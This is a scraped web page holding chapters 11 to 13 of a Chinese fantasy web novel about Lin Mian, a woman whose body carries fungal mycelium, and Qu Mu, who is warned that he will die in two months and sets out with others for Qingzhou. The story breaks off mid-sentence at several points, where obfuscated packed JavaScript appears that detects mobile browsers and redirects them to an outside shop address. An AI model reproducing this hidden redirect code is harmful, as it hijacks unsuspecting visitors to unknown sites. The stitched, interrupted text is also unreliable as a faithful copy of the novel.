l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461831|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林眠蹲下身,不解地问:“你们为什么要找我?” 真奇怪,她在盖山村这么多年,都没人来找过自己,为什么一到北城,就一堆奇怪的事情。 “报警吧。”瞿木说,这群人不肯开口说话,那还是直接交给警察好了。 “嗯。”秦宁也认同。 现在即便是道士,那也要遵守法律,他们这些一看就不是正派人士。 瞿木松开脚,刚放松,就见其中一个黑衣人从手袖里抽出一把匕首,朝着蹲在地上的林眠冲过去。 “小心。”瞿木大喊出声,身体的速度更快,他拉过林眠,自己挡了上去。 林眠感觉周围都安静了,她伸出手,摸到了瞿木背部的血迹,是温热的。 对方见状,松开了手。 秦宁连忙把人擒住,手机里还传来“喂、喂”的女声。他刚刚在打电话报警,谁知道竟发生了这样的事。 其余黑衣人见状,连忙跑了,只留下那个被秦宁擒住手腕的人。 “瞿木,瞿木。”林眠撑起瞿木的身体,见他眼神迷离,匕首插得位置又很靠近心脏,顿时有些慌了。 秦宁半蹲下,直接撕开瞿木的衣服,查看了一下情况,匕首处的出血已经止住了,甚至还能看到皮肉里冒出来的菌丝。 “林小姐,你看一下。”秦宁对这个菌丝一无所知,只能喊林眠,并顺势扶住瞿木。 林眠凑上前看了一下,真的是菌丝从皮肉里冒出来了。 “这血止的太快了。”秦宁说。 瞿木睁开眼,意识慢慢回笼,他扭过头看向秦宁和林眠,问:“我这是死了吗?” 林眠见瞿木醒了,欣喜地说:“你醒了。” “你后背没事吗?”秦宁皱着眉,这后背还插着匕首,但瞿木的脸色肉眼可见的红润起来了。 他不禁想起之前的事,瞿木明明都被送进手术室了,却突然好了。 “林小姐,你扶住他。”秦宁对林眠说。 “哦。”林眠连忙扶住瞿木。 秦宁走到瞿木背后,握住匕首的把柄处,用力地拔了出来。 没有想象中的血液四溅,匕首就像是插入了棉花之中,再拔出来,皮肤上只剩下一到口子。 瞿木感觉自己就像是被打了麻药一样,虽然不疼,但是能明显感觉到刀划过肉的那种割肉感。 “伤口愈合了。”秦宁说。 瞿木回过头,伸出手摸了摸,皮肤细腻而光滑,根本看不出被刀扎过的模样。他摸完又看向林眠,第一次亲眼见到这么神奇的画面,他一时都不知道是喜是悲。 林眠也不知道是什么情况,并表示:“我受伤了不会痊愈。” 在村子里,她爱去山上玩,或多或少都受了点伤,她都是老老实实搽药。 “那我现在不是刀枪不入了?”瞿木从地上爬起来,有点不可置信,他就是所谓小说里的男主角吧? 主角光环傍身! 秦宁也是第一次见这个场面,能够自动愈合,这菌丝究竟是什么来历?他在家中古籍里也没找到关于菌丝的一点点记录。 而且这个菌丝,和林眠脱不了干系。如果是这样,那这些来找林眠的黑衣人...应该会知道些什么。 好在还有一个抓住了,没让他跑了。 很快警车来了,将人带走。 11. 二次来信 瞿木一起床,就看到林眠在客厅处,正目不转睛地盯着自己。 “怎么了?”瞿木摸了摸自己的脸,没脏东西吧。 “瞿木。”林眠张嘴喊了一声。 瞿木原本想去冰箱拿瓶水,听到林眠这么叫自己,顿时手都顿了一下。 “你有事就说。”瞿木强装镇定,拧开水瓶盖,喝了一口水。 一般这种情况下,指定没什么好事。 果然... 瞿木趴在沙发上,裸露着背部,一脸生无可恋。林眠在一旁仔细地看着瞿木背部处,还伸出手摸了摸,惊讶地说:“真的一点疤痕都没有。” 瞿木感受到背部被一只手摸来摸去,总感觉哪里怪怪的。虽然他和林眠之间并没什么情,可被一个女人摸... 未免也太暧昧了。 自己是能够保证不对林眠动心,可林眠还是个小姑娘,该不会是...借此揩油吧?自己长得这么帅,也不是不可能。 瞿木思维跳跃的很快,该想的、不该想的都想了一遍。 林眠不知道瞿木在想些什么,她现在只有一些嫉妒瞿木,自己身上的菌丝怎么没有这个效果。 说起来,瞿木身上的菌丝还是自己的呢。 瞿木察觉到背部上的柔软不见了,连忙坐起身来,将一旁的衣服拿起穿上,清咳了一声,说:“那些黑衣人好像是一个什么组织的。” 昨晚做完笔录之后,他和林眠就回家了,至于后面的事,都由秦宁负责了。 “组织?”林眠想了想,“这组织找我做什么?” 瞿木摇摇头,“但肯定不是善茬。” 瞿木拿起一旁的笔记本电脑,打开网页,输入“无支祁”这三个字,跳出了不少链接,大多数都是介绍这“无支祁”的出处和来源。 将网页翻了好几页之后,才找到一个网址。 这个网址主要是收集情报,且提供情报者有大额赏金。 “这个,”林眠指着网页上的一处,说:“这个是不是就是那个银木?” 瞿木仔细看了看,再对比特征,还真是银木。 “不过他们要的是有邪性的银木,银木邪性早就不知道去哪了。”瞿木摇摇头,接着往下看。 看了一圈下来,他皱了一下眉。 “这个组织,是在收集各种有邪性的东西,以及在找一些...妖物”瞿木说到“妖物”这两个字的时候,下意识看了眼林眠。 林眠身上的菌丝,必然和什么鬼、邪性无关,那就只能是妖物了。 林眠看着上面的悬赏,指了指说:“要不我们也去找邪性?他给好多钱啊。” 她数了数上面有几个零,如果能找到一个邪性的话,得有多少钱啊?她回盖山村,能好吃好喝生活一辈子了。 瞿木无语地看着林眠,都什么时候了,她还在意这点钱。 “你不如担心下你自己,他们都找上门来了。”瞿木将网址收藏了,再把电脑关了,免得林眠产生一些不该有的想法。 “那也没办法嘛,我又打不过。”林眠倒是心大,对着瞿木认真地说:“我觉得是北城有问题,我在盖山村都没事。” 瞿木撇撇嘴,“我还是让卫叔找几个保镖过来,以防万一。” 这些黑衣人都是人,既然是人就不怕了。 发完消息后,瞿木再拉着林眠问菌丝的事。 “你真的不知道菌丝能做什么?”瞿木相信林眠是人,但她会操控菌丝,还能让菌丝传染到自己身上,简直就是母体。 林眠摇摇头,对着瞿木说:“该说的我都说了,我从小就能操控菌丝,而且菌丝也没有伤害过人,更加不会进入别人的身体里。” “你是个例外。”林眠对于瞿木身上的事,也是一无所知。 “奶奶不让我在别人面前展示菌丝,可小时候贪好玩,我用菌丝偷偷缠过小朋友,他们都没有事。”林眠举个例子说明,她对于瞿木这个特殊的存在也很好奇。 “难道是亲了才能传染吗?”林眠突然想到这个,她倒是没和小朋友亲过。 瞿木不自然的撇开头,这听着怎么怪怪的? 林眠话音刚落,就盯着瞿木的嘴巴看,还伸出手捂住嘴哈了哈气,仔细地查看自己的手上有没有菌丝。 显然,没有。 “行了,不说这个了,越说越瘆得慌。”瞿木也不知道这个假设对不对,做实验也不太可能,总不能让林眠再逮个人亲吧? “我点的外卖到了,我去拿。”瞿木说完,就走到门口处。平时点外卖,他都会备注将外卖放在门口处,刚刚显示已送达。 林眠一口一口吃着香蕉,她第一次对自己身上的菌丝产生好奇。 没一会儿,瞿木便拿着外卖进来,面色凝重。 “怎么了?”林眠注意到瞿木的表情不太对,问他。 “我又收到了信。”瞿木将外卖放到餐桌上,从口袋里拿出那封信出来。 “信?”林眠刚开始没反应过来,“谁寄来的?” 问出口她才想起来,之前瞿木提到的信。难道是同一个人? 瞿木抿着唇,打开这封信,草草看了几眼,整个人脸色都发白了。 “怎么了?”林眠上前接过瞿木手中的信,看了起来。 信上只写了两句话。 第一句:菌丝还在你体内生长,两个月后,你会彻底死亡。 第二句话:想要活命就得找到银木和一滴妖物的眼泪。 林眠抬眸看了一眼瞿木,想了想,搓了搓手说:“看来我们两个都倒霉。” 有人莫名追杀自己,说自己是妖物,瞿木被告知生命只有两个月了。 瞿木看向林眠,在他的心中,这份信的真实程度很高,上一次也是因为这信,自己才去找了林眠,控制了噩梦和蘑菇的生长。 那现在...让自己去找银木?还有什么妖物的眼泪。 等下!银木不就在自己身上吗? 瞿木连忙从衣服底下掏出那块玉佩,看着上面镶边的银木,摸上去温温热热的。 “这个应该是要有邪性在里面的银木,这块银木的邪性已经跑掉了。”林眠出声提醒。最近发生了这么多事,无外乎就是这块银木的邪性。 上面写的银木,那也肯定是带邪性的银木,不然这银木也就是一块颜色特殊一些的木头。 “我知道!”瞿木真想给林眠一拳,再打开她的脑袋,看看她在想些什么,看不出来自己现在很害怕吗? “问题是这邪性,秦宁找了这么多年都没找到,我去哪里找?”瞿木觉得光是银木自己就找不到了,还什么妖物的眼泪。 他连一只妖都不认识,怎么让对方为自己流眼泪? 林眠不出声,说到底,瞿木身上的菌丝和自己脱不了干系。可她也不知道上哪去找这银木。 “算了,先吃饭吧。”瞿木将信收起来,一屁股坐在椅子上,打开外卖袋子,将点的菜都拿出来。 这一顿饭吃的极其沉默。 下午,瞿木问了林眠几句,结果林眠一问三不知,他就只好打电话给了秦宁,询问有没有办法。 林眠看着瞿木在家里坐立不安,吃饭的时候都郁郁寡欢。 “我早上还以为自己获得了超能力,能够快速愈合,中午就被告知死期了。”瞿木用筷子戳了戳碗里的菜。 “说不定对方是骗你的。”林眠说。 “我瞿大少爷的命是可以赌的吗?”瞿木问她。 林眠抬眼,有钱人果然很惜命。 吃过晚饭后,瞿木就回房间去了。 林眠也回到房间,休息了会,再洗了个澡。她看着窗外的景色,犹豫了一下,还是打开衣柜,开始收衣服。 她想离开北城了,在这里过得一点都不安心,还有人在追杀自己。可自己要是走了,瞿木该怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461832|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么办?他又会做噩梦了。 就这样,她在犹豫和纠结中睡过去了。 “叩叩。” 林眠是被敲门声吵醒的,她迷迷糊糊睁开眼,看着窗外明媚的阳光,猛地从床上起来,门外又响起了两声敲门声。 “来了。” 林眠打开门,与瞿木对视上,“怎么了?” “我做噩梦了。”瞿木说。 “啊?我昨晚没离开。”林眠下意识解释。 瞿木奇怪地看了眼林眠,说:“不是那个噩梦,就是单纯的做梦了。” 他昨晚一直想着那封信,导致做了个噩梦,梦到自己死后变成了一只蘑菇,然后家里人把这只蘑菇放进棺材里下葬了。 瞿木见林眠今天不太对劲,抬头看了眼房间,一眼便看到了桌子上的大背包。 “你要出门?”瞿木看那个背包鼓鼓的,桌面上什么东西都没了。 “没,我就是收拾一下。” 林眠视线飘忽,一看就是在说谎。 瞿木走上前,打开衣柜一看,衣柜都空了。 “你想离开?”瞿木得出结论,问林眠。 林眠不怎么会撒谎,解释说:“我觉得我和北城不太合,我还是回盖山村好些。” “那我怎么办?”瞿木问她,自己现在的命可是绑在林眠的身上。 林眠也想过这个问题,她思来想去,觉得有一个最好的办法,那就是…… “你和我一起去盖山村吧。” “你这么有钱,在盖山村会生活的很好。” 是这个问题吗?瞿木抽了抽嘴角,说:“在盖山村度过我最后的两个月寿命,是吗?” “可是我在北城,我说不定都活不过两个月。”林眠小声说,这都有人要来杀自己了,她又打不过对方。 瞿木无奈扶额,深呼吸一口气,对林眠说:“这件事先放放,你先和我去老宅处,爷爷今天到了。” 林眠还没反应过来,就被瞿木拉着去了瞿家老宅处。 开车大约要一个小时,才到了老宅处。老宅依山而建,周围很静谧,树木也多,一走进来,就能听到鸟叫声。 林眠站在门口处,第一眼便是看那门牌号,是“5”,和奶奶给的纸条上一样。 “别愣着了,快进来。”瞿木拉着林眠往前走。 刚进没几步,就和秦宁撞上了。 秦宁点点头,就算是打了声招呼,随后就朝另一条路走去。 “他怎么也在?”林眠问,这不是瞿家么? “来看风水的吧。”瞿木随口答道。总之在老宅这里看到秦宁,不是什么稀奇事。 “哦。”林眠跟着瞿木往前走,穿过几间房屋,才走到一间古香古色的屋子里。 瞿老爷子正在和一个身穿白衣的年轻人聊天,见孙子和林眠来了,脸上露出慈爱的笑容,朝他们招招手。 “爷爷。”瞿木走上前,开心地喊着。 林眠看了眼瞿老爷子,而后将视线看向坐在一旁、穿着一身白衣的男人。 “小眠,快过来坐。”瞿老爷子拍了拍一旁的位置,笑呵呵地对着林眠说。 林眠点点头,坐到了一旁,叫了声“爷爷”。 “哎,我和你奶奶可是多年的好友了。”瞿老爷子今天很开心,同时也介绍了一下坐在对面的白衣男人。 “这位是我在五华山静养的时候,认识的小伙子,叫况衍君,年纪和木木相仿。你们都是年轻人,应该聊得来。” 瞿老爷子说话间,给他们都倒了杯茶。 林眠捧着茶杯,眼睛却不自觉地往况衍君身上瞟,总有一种似曾相识的感觉,她还是第一次出现这么朦胧的感觉。 况衍君察觉到林眠的目光,对她笑了笑,随后站起来说:“瞿爷爷,我还有点事,就先离开了。” “哎。”瞿如清也不阻拦,主要是自己这孙子摆明就是有话要说。 12. 两个月的命 “你小子,有什么事说吧。” 况衍君一走,瞿老爷子就笑着对瞿木说。 瞿木立马换上忧愁的面孔,脸上都写着沉重,缓慢开口说:“爷爷,这些日子发生的事情太多了,我都不知道从哪里说起。” “我甚至可能只有两个月的命了。” “什么?”瞿如清正在泡茶,听到宝贝孙子的话,手都颤抖了一下,随后说:“爷爷多大的年纪了,你不要吓我。” “你爸是个不中有的,爷爷只有你了。” 林眠喝着茶,听着他们爷孙两说话,他们之间的相处模式是自己从没见过的。她和奶奶从来不会这样,奶奶甚至很少对自己笑过。 瞿木露出一个苦笑,爷爷刚刚那个语气摆明就是以为自己在来玩笑,便说:“爷爷,菌丝的事你知道多少?” 爷爷和林眠的奶奶是故交,那么对林眠身上的菌丝或许是知道的一些的。 瞿如清眼神顿了一下,表情也微微变化了,收起刚刚玩笑的表情,问:“你体内的菌丝出什么事了?” 林眠听到菌丝被提及,原本垂着的眼眸瞬间抬了起来。 “我不知道,”瞿木咬着牙,“爷爷,我收到了一封信,上面说...” 瞿木把信递给瞿如清看。 瞿如清看了一眼,便将眉头皱了起来,说:“我知道菌丝的存在,却对它了解不多,但依我所知...” “菌丝是只会寄生在女性身上。” 当初卫管家和自己说的时候,他就知道是菌丝,而后林眠的出现更是印证了这个想法,可...木木被菌丝寄生在体内... 他也感到奇怪也担心,之后的事听卫管家说了,他悬着的心才放下了一些,没想到还是出事了。 “爷爷,你是知道菌丝的?”瞿木感到惊讶,没想到爷爷是真的知道菌丝这玩意,这可是连秦宁都不知道。 林眠也竖起了耳朵认真听着,她对自己体内的菌丝也了解不多。 瞿老爷子摇摇头,“只是略有耳闻,不算是知道,小眠应该比我更清楚菌丝。” 他说着看向林眠,“我知道菌丝,也是小眠的奶奶告诉我的,那是一个从古至今,流传在盖山村人嘴里的传说,没有任何的书籍记载。” “因此,鲜少有人知道菌丝。 “即使知道,也对它了解不多。” 瞿如清拍了拍林眠的肩膀,说:“现在这菌丝在你的身上,有什么感觉吗?” 林眠摇摇头,回答说:“没有,菌丝在我体内,和瞿木的不一样。” “是我将菌丝传染给瞿木。” 说到这里,林眠有一点愧疚,如果瞿木因为自己而死... “不能怪林眠,没有林眠,我怕不是早死了。”瞿木插嘴说,对于这件事他是一点都不怪林眠。 林眠听了瞿木的说,仰起头看着他,张了张嘴想说点什么。 “你不要这么感动,好歹我们也相处一个多月了。”瞿木不太自然地说,视线不自觉偏移,又忍不住看向林眠。 瞿如清看着他们两个人,咳了一声说:“这信上的内容不知道可不可信,但我们确实不能赌。” “这两样东西,我们还差一样了。” “什么?”瞿木没太明白,“爷爷,这上面写的银木,应该是带邪性的银木才对,不然这也就一块特殊点的木头。” “我和瞿木讨论过了,两个月实在是太难,而且银木邪性十年前就消失了。”林眠也说道。 瞿木听着林眠说,心里还在诽谤她早上想逃跑的事情,简直一点良心都没! “刚刚那位况小伙子,邪性就在他身上。”瞿如清低着声音说,“我和他在五华山相识,作伴了大半个月,他和我提起银木邪性,我才知道,这邪性现如今在他的身上。” “爷爷,那你还敢和他来往?万一他被邪性操控作恶怎么办?”瞿木听了,眉头都皱出一个“川”字,难怪他刚刚看这况衍君就不舒服。 林眠的想法却不一样,她感觉这况衍君身上没有被邪性侵蚀,刚刚看着也很儒雅,不像是会作恶的感觉。 “因为他能压制住邪性。”瞿如清拍了拍瞿木的手背,说:“银木自从十年前消失,便再也没有出来作过恶,因此他所说的不假。” “他也是修道之人,常年住在五华山山里,身上无邪念,自然就能压住这邪性了。” 瞿木听着爷爷说的头头是道,忍不住吐槽说:“你以为他是谪仙下凡啊?爷爷,你怕不是被骗了。” 他是不太信。 “我倒是觉得爷爷说的对。”林眠颇为赞同的点头,“他看着就有仙人的感觉。” “对个头,你天天说不要封建迷信,世界上没有鬼,那就有仙了?有神了?”瞿木语速极快的反驳道。 林眠眨眨眼,认真地想了一下,说:“没有神仙,但是有长得像神仙的人啊。” 瞿木:…… “好了,你们两个呀。”瞿如清知道木木的性子,连忙制止住,说:“我是信银木邪性在他身上的,最近秦宁一直来老宅处,也是因为况衍君在。” “你们应该也知道,秦家人一直追着银木邪性跑,这么多年了终于再次现身了,他们也找到了这里。 “我原本是想告诉秦宁,可又怕惹出不必要的麻烦,毕竟银木邪性现在在衍君身体里,没有作恶,这件事我也不知道如何处理比较好。 “现在木木出了这档子事,这银木邪性也灭不得了。” 瞿如清解释清楚,见他们两个似懂非懂,无奈接着说:“现在只差妖物的眼泪,这东西倒是玄乎得很。” “秦家和妖物打交道几百年了,可以找秦宁帮忙。” 瞿木大致明白了,银木邪性在况衍君身上,那自己只需要找到妖物的眼泪。 “刚刚秦宁还在院子里。”林眠说。 瞿老爷子点点头,“我和你们去找他,看看有什么办法能弄到妖物的眼泪。” 话音落下,瞿老爷子就给秦宁发了消息。 “他等会就会过来。” 瞿木双手抱着头,一脸生无可恋,这几个月发生的事简直让他措手不及,他得消化消化。 林眠小口小口抿着茶,现在有了方向,两个月找个妖物的眼泪应该不难吧? 没一会儿,秦宁就过来了。 秦宁看到他们三个人,不免有些好奇,他们为什么找自己?最近驱魔弓时不时在震动,是银木邪性出现了,而出现的地点就在瞿家老宅这里。 瞿老爷子招呼他坐下,随后便将事情都跟秦宁说了一遍。 “我年纪大了,这银木邪性现在在别人的身上,也被压制住了,我希望你能先将这件事放放,帮帮木木好吗?” 瞿老爷子语气温和,话里间都是请求。 瞿木在一旁没出声。 秦宁看了眼瞿木,手上拿着信,问:“这封信查不到是谁给你的?” “监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461833|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控都看了,这封信是飘进来的,诡异得很。”瞿木说,上一次的信也是这么飘进来,准确无误地飘到自家门口。 秦宁看向一旁的林眠,问:“林小姐怎么看?” “我?”林眠指着自己,说:“我...也不太清楚,菌丝以前从未发生过这样的事。” “嗯,这菌丝寄生在木木身上就很奇怪了,我所了解的,菌丝是不会寄生在男性身上。”瞿老爷子也开口说。 这件事本身就是件例外。 秦宁思考了一下,说:“这世上有很多妖物,但形态不一,这妖物的眼泪...怕不是很好找。” “我父亲曾记载过,十年前他在青州的一处小地方里,偶然遇到一只妖物,名唤阿细,是个温和善良的妖物。 “或许可以找它帮忙。” 秦家祖祖辈辈都是除妖世家,和妖物打交道的多了,自然也会认识一些妖物。 瞿木听了,眼睛都亮了,银木邪性现在知道下落了,只要找到妖物的眼泪,自己就有救了。 林眠听了,眼睛都亮了,自己不用背上瞿木的人命了。 两人都齐刷刷地看着秦宁,异口同声地问: “我们什么时候出发?” 秦宁却看向瞿老爷子,说:“瞿爷爷,晚辈有个不情之请。” “请说。”瞿老爷子悬着的心也稍微回落了一些。 “我秦家祖祖辈辈都在追寻银木邪性,研究银木,都无法将其彻底消灭,现如今银木邪性再现,虽还是无法彻底消灭它,但我担心...” 秦宁眉头一皱,“有多少人被银木邪性所诱惑,我并不认为况衍君能够完全抵抗银木邪性。” “因此,我想这次去青州,让他也一起。” 瞿木听了,直接就明白了,秦宁无非就是想监视况衍君罢了。 “这...”瞿老爷子看了眼瞿木,咬着牙说:“行,但衍君毕竟是我请来的客人,我去和他说。” 这件事就这么说定了。 林眠和瞿木出了茶室,走在花园中的鹅卵石路上。 林眠心情极好,现在有了解决办法,只要去一趟青州就好了。她见瞿木板着一张脸,便问:“你怎么不开心?” 瞿木撇了一眼林眠,见她现在和个没事人一样了,还好意思问自己怎么不开心,“你现在还要回盖山村么?” 林眠愣了一下,随后凑上前去看瞿木,恍然大悟:“你在生气。” 瞿木被戳中心思,不爽地说:“我能不生气吗?我们现在好歹也是命运共同体,虽然是单方面的,但你就这么离开了,你是一点心都没有!” 林眠第一次被这么直接的指责,让她有些不知道怎么反驳。她昨晚确实是有一些害怕,发生了那么多事,她第一反应就是回到盖山村。 “我以为你不生气了。”林眠沉默了半天才说出这句话,“而且刚刚在瞿爷爷面前,你还说不怪我。” 瞿木有些好笑的回过头来,说:“我说的是我只有两个月的命不怪你,但是你要偷偷离开,我连两个月都活不到。” 他身体长蘑菇已经到腰部那里了,按照估算,大概一个月就能长到自己的脑袋处了。 “我也想到了嘛,所以我最后没走。”林眠嘟囔着说。 “我气得心口疼!”瞿木气得不行,步子都加快了一些。 林眠又不认识路,而且今晚要留在老宅过夜,她也不知道自己住哪,只能快步跟上瞿木的步子。 13. 云泉酒店(一) 在老宅住了一天,林眠就和瞿木回到市中心的家里。 “我收好东西了,按照约定,等会我们就出发。”瞿木的东西很少,他就只带了一个双肩包。 林眠看着自己这一大包,说:“你就带这么点?我们到青州还要住上几天。” 瞿木拿起一瓶水,仰着头,壕无人性地说:“把手机和卡带上就行了,我去到那里再买衣服不行?” “哦。”林眠想想也是,有钱想买什么都行。她没钱,所以只能多带点东西,避免路上要买。 “叮。”的一声。 林眠的手机振动了一下,她拿起手机一看,原来是瞿木给自己发工资了,看着银行卡到账的五万块钱了,她立马把自己的大包换成一个小包。 五万块钱能买不少衣服了。 瞿木带着林眠来到地下车库的时候,秦宁和况衍君已经在了。 “你们来了多久?”瞿木看了眼他们问,顺便打开车门。 本来是打算坐飞机去的,但秦宁这家伙身上带了不少违禁品,上不了飞机,只能改成自驾了。 “刚来。” 秦宁和况衍君异口同声,说完互相看了一眼对方。 林眠主动坐上车,趴在车窗上看他们两个。 “快上车。”瞿木没好气地说,他比谁都着急。 况衍君朝林眠笑笑,主动打开车门坐到里面去。 秦宁也上了车,他今天一来到,就和况衍君遇上了,放在包里的驱魔弓在震动,证明银木邪性真的在他身上。 可这况衍君看着真像是压制了银木邪性,一般拥有银木邪性的人,很容易财运亨通,在某些方面会超出常人。 但他身上没有这种特征。 况衍君上了车,便看着窗外,没有说话。秦宁也猜不出他是什么样的想法,但自己只要做好防范,以免被这邪性戏弄了。 车子稳步向前开。 车上都很安静,况衍君今天也才第二次和大家见面,都不熟,自然没有主动开口说话。 秦宁和林眠,一个不爱说话,一个不会说话。 因此,瞿木不说话,车里就安静极了。 “那个,况衍君,你怎么愿意跟着我们来啊?”瞿木开了会车,见没一个人说话,就主动问起来。 这里面,大家都心知肚明,况衍君是被监视的。 瞿木没想到他竟然答应一起去青州,爷爷不知道使了什么手段。 “其实,我是青州人。”况衍君笑着回答,神态自若,“只是很久没有回去了,这次正好回去一趟。” “而且,银木现在在你身上,邪性虽然在我这,我能压制住它,但之后或许它还是需要回到银木之中,我还是跟着你比较好。” 况衍君说的头头是道,秦宁监视他的事是一点都没谈。瞿木也不好多说什么,只得说一声“谢谢。” 说完,他看了一眼在旁边玩手机的林眠,有些好奇她捧着个手机在干嘛。 明明才买手机没多久,按道理好友不多才对。瞿木开着车,无聊的想着。 路上,瞿木偶尔和秦宁交换着开车。 林眠刚开始还兴致勃勃,坐久了只觉得浑身难受,好不容易撑到第二天晚上,瞿木终于将车停了下来。 下了车,伸展伸展,看着周围乌漆嘛黑一片,前面有一盏暗黄色的小灯,时不时闪一下。 “这地方有点...恐怖啊。”瞿木将车停好,下车说。 秦宁看了看周围,说:“现在是晚上八点,这里的人都睡了吗?” 这里虽没有什么高楼大厦,但房子有不少,只是这些房子都黑着灯。 “我们要住的酒店在前面?”况衍君也跟着揉了一下肩膀,看了眼周围的情况,说。 瞿木没吭声,站在原处,拿起手机导航再确认一遍,确实是在这里,但也没看到什么酒店招牌。 “在前面。”林眠突然出声,指着前面那盏灯处,随后便小跑着走上去。 大家伙相视一眼,也都连忙跟上去看看。 “还真是啊。”瞿木看到旁边挂着的招牌,在昏暗的灯光下,照射出“云泉酒店”四个字。 他再探头看去,门口有一块布帘,依稀能看到里面跳跃的蜡烛火光。 火光跳跃、破旧的酒店、安静、没有看到人,这些都让瞿木下意识咽了口口水,扯住正要走进去的林眠。 林眠不解地看向瞿木。 “看来停电了。”况衍君出声,打破了这里的沉寂。 瞿木这才反应过来是停电了,他自从经历什么术式操控瓷娃娃、菌丝之类的玩意,现在什么事情他都能想偏了。 “这里看着太破了,要不我们去车上睡一晚吧。” 这家酒店一看就年久失修,破得很,作为大少爷的瞿木自然不太愿意住,他情愿在自己的爱车上眯一会。 “不要,车上太挤了。”林眠第一个拒绝,而且对她来说不是很方便。 “还是进去睡一晚吧,这里只是停电了,没有灯光才显得怪。”况衍君也出口说道。 秦宁一直没说话,垂着眼不知道在想些什么。 瞿木也觉得是自己想太多了,这风水大师秦宁都没开口说有问题,自己这样未免有点大惊小怪了,便挽尊地说:“我们都在门口这么久了,都没人出来。” 林眠见瞿木松口了,开心地掀开布帘,边走边说:“进去看看就知道了。” “有人吗?”林眠走到前台处,喊了一声,没有人应答。 林眠看了看周围,前台和旁边的木质桌子上都放了一根蜡烛。 突然一阵风吹了过来,桌上的蜡烛晃动了一下。 林眠歪着头,这里的窗户明明都紧闭着,怎么还有风? “没人吗?”瞿木也掀开帘子走进来,见林眠在那呆愣愣地傻站着,在她面前晃了晃手,有些紧张地说:“林眠,你没事吧?” “没。” 林眠走到窗户边,伸出手试了试,“真奇怪,窗户是紧闭的,刚刚怎么有风啊?” “门口处传来的吧。”瞿木抖了抖身上的鸡皮疙瘩说。 也不知道是立秋过后天气变冷了,还是自己的心理作用导致的。 他总觉得周围阴风阵阵。 林眠却觉得不是,那风的方向不对。 “这里都没人,我们怎么住啊?”瞿木抖了抖身上的鸡皮疙瘩,打开手机,嘴里嘟囔着“晦气”二字。 今天下午,他让秦宁开会车,自己则看看附近有什么酒店,毕竟已经傍晚了。 然后他就定了这一家。 “谁说没人?” 一道沙哑苍老的声音响起。 众人顺着声音来源处看去,只见一位头发花白、但梳理整齐的老妇人,手上拿着一根蜡烛,从旁边的楼道上走下来。 “你们订了三间房?”老妇人走到前台处,低着头在柜子里翻了翻,找出三间房的房卡握在手里,随后盯着他们看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461834|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见有人出来了,大家都盯着这位老妇人看,还是林眠最先出声回答:“是的,两间大床房,一间双床房。” 瞿木也反应过来,正准备掏身份证登记,谁知老太太直接将一张房卡拿到他面前,说:“这间房是你...” 老太太看了眼一旁的秦宁,“和你。” 瞿木一听,指着秦宁和况衍君说:“不,他和他,他们两个一间房。” 自己只订三间房,也是因为秦宁要监视况衍君,那自然他们两个住一间。 可这老太太不听,又拿出一张房卡递给林眠。 林眠接过房卡,看了眼上面“303”。 “这个给你。”老太太将最后一张房卡递给况衍君的时候,脸上露出笑容。 这个笑容是和善的,但在烛火的映照下,显得有几分诡异。 “我们不能自由安排房间吗?”林眠问出了瞿木想问的。 老太太看向林眠,来了一句:“你属木,水多木飘,这间房是最合适你的。” “那我不能自己一间吗?”瞿木十分嫌弃地说,他可不习惯和别人一起睡,特别是男人,特别是这个男人还是风水师。 “不能。”老太太说完,就摆摆手,说:“去睡吧,要关店门了。” “这...”瞿木还想再说些什么,只见老太太直接把蜡烛吹灭了,室内瞬间黑了一半。 况衍君看着手上“304”的房号,在林眠的隔壁。 瞿木还想再说什么,却被一旁的秦宁拉住,往楼上走去。 老太太看着他们四个人上了楼,才吹灭桌子上的另一根蜡烛,室内陷入一片黑暗中。 好在到了二楼,再往上的楼梯处有烛火亮着。 到了三楼,就听到说话的声音。听声音是几个大男人,说话间还有搓牌的声音。 瞿木平时爱玩,一听这声音就知道,“这还有麻将房啊?” “不对啊,停电了麻将机也用不了吧?” 林眠跟在瞿木的身后,好奇地看着这墙上的花纹,直到303房门口。 林眠第一个打开自己的房门,从门口看去,房间不是很大,但作为酒店,该有的都有,就是停电了,里面乌黑一片。 好在门口处放了几根蜡烛,林眠点燃一只蜡烛,走进屋内,看了几眼才回头对他们说:“你们快去自己的房间吧。” 她看着这屋内还是挺干净的,也没灰尘。 